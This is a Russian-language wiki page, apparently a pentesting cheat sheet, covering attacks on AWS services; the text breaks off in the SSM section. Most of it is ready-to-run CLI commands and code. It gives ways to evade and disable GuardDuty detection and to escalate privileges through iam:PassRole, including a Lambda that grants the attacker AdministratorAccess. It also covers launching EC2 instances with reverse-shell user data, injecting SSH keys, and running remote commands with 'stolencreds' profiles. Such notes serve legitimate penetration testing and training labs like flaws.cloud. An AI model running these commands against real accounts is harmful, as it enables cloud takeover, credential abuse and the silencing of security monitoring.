&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Атаки ===&lt;br /&gt;
&lt;br /&gt;
==== Критичные редактируемые поля ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
